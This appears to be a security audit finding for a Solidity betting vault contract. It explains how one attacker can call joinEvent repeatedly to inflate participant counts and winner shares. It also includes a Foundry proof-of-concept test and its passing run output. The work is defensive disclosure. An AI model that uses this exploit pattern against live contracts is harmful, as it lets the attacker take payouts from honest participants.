This vulnerability completely breaks the betting system's integrity and fairness. An attacker can inflate the participant count to make it look like there are more bettors than there really are. They can also bet on multiple teams at once, essentially hedging their bets so they are guaranteed to be on the winning side no matter which team wins. When calculating winner payouts in the _getWinnerShares() function, the contract loops through the participants array and counts the same attacker multiple times, which artificially inflates the total winner shares. This dilutes the legitimate winners' payouts because the attacker's shares are counted multiple times in the calculation. The entire economic model collapses because one person can game the system to guarantee profits while honest participants lose money.
┌──(m1s0㉿M1S0)-[~/Desktop/Shepherd/2025-11-brivault-main]
└─$ forge test --match-test testExploitMultipleJoinEvent -vv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.30
[⠊] Solc 0.8.30 finished in 780.13ms
Compiler run successful with warnings:
Warning (2072): Unused local variable.
--> test/Exploit.t.sol:62:9:
|
62 | uint256 totalSharesBefore = briVault.totalParticipantShares();
| ^^^^^^^^^^^^^^^^^^^^^^^^^
Warning (2072): Unused local variable.
--> test/Exploit.t.sol:82:9:
|
82 | uint256 totalSharesAfterThird = briVault.totalParticipantShares();
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ran 1 test for test/Exploit.t.sol:ExploitTest
[PASS] testExploitMultipleJoinEvent() (gas: 414313)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64ms (261.42µs CPU time)
Ran 1 test suite in 10.08ms (2.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {BriTechToken} from "../src/briTechToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ExploitTest is Test {
BriVault public briVault;
BriTechToken public token;
address public owner;
address public attacker;
address public feeCollector;
uint256 public eventStartDate;
uint256 public eventEndDate;
uint256 public participationFeeBsp = 100;
uint256 public minimumAmount = 100 * 1e18;
string[48] public teams;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
feeCollector = makeAddr("feeCollector");
eventStartDate = block.timestamp + 1 days;
eventEndDate = block.timestamp + 30 days;
vm.startPrank(owner);
token = new BriTechToken();
token.mint();
briVault = new BriVault(
token,
participationFeeBsp,
eventStartDate,
feeCollector,
minimumAmount,
eventEndDate
);
teams[0] = "Brazil";
teams[1] = "Argentina";
teams[2] = "Germany";
teams[3] = "France";
briVault.setCountry(teams);
vm.stopPrank();
deal(address(token), attacker, 50000 * 1e18);
}
function testExploitMultipleJoinEvent() public {
vm.startPrank(attacker);
token.approve(address(briVault), type(uint256).max);
briVault.deposit(5000 * 1e18, attacker);
uint256 participantsBefore = briVault.numberOfParticipants();
uint256 totalSharesBefore = briVault.totalParticipantShares();
briVault.joinEvent(0);
uint256 participantsAfterFirst = briVault.numberOfParticipants();
uint256 totalSharesAfterFirst = briVault.totalParticipantShares();
assertEq(participantsAfterFirst, participantsBefore + 1);
briVault.joinEvent(0);
uint256 participantsAfterSecond = briVault.numberOfParticipants();
uint256 totalSharesAfterSecond = briVault.totalParticipantShares();
assertEq(participantsAfterSecond, participantsAfterFirst + 1);
assertGt(totalSharesAfterSecond, totalSharesAfterFirst);
briVault.joinEvent(1);
uint256 participantsAfterThird = briVault.numberOfParticipants();
uint256 totalSharesAfterThird = briVault.totalParticipantShares();
assertEq(participantsAfterThird, participantsAfterSecond + 1);
assertEq(participantsAfterThird, 3);
vm.stopPrank();
}
}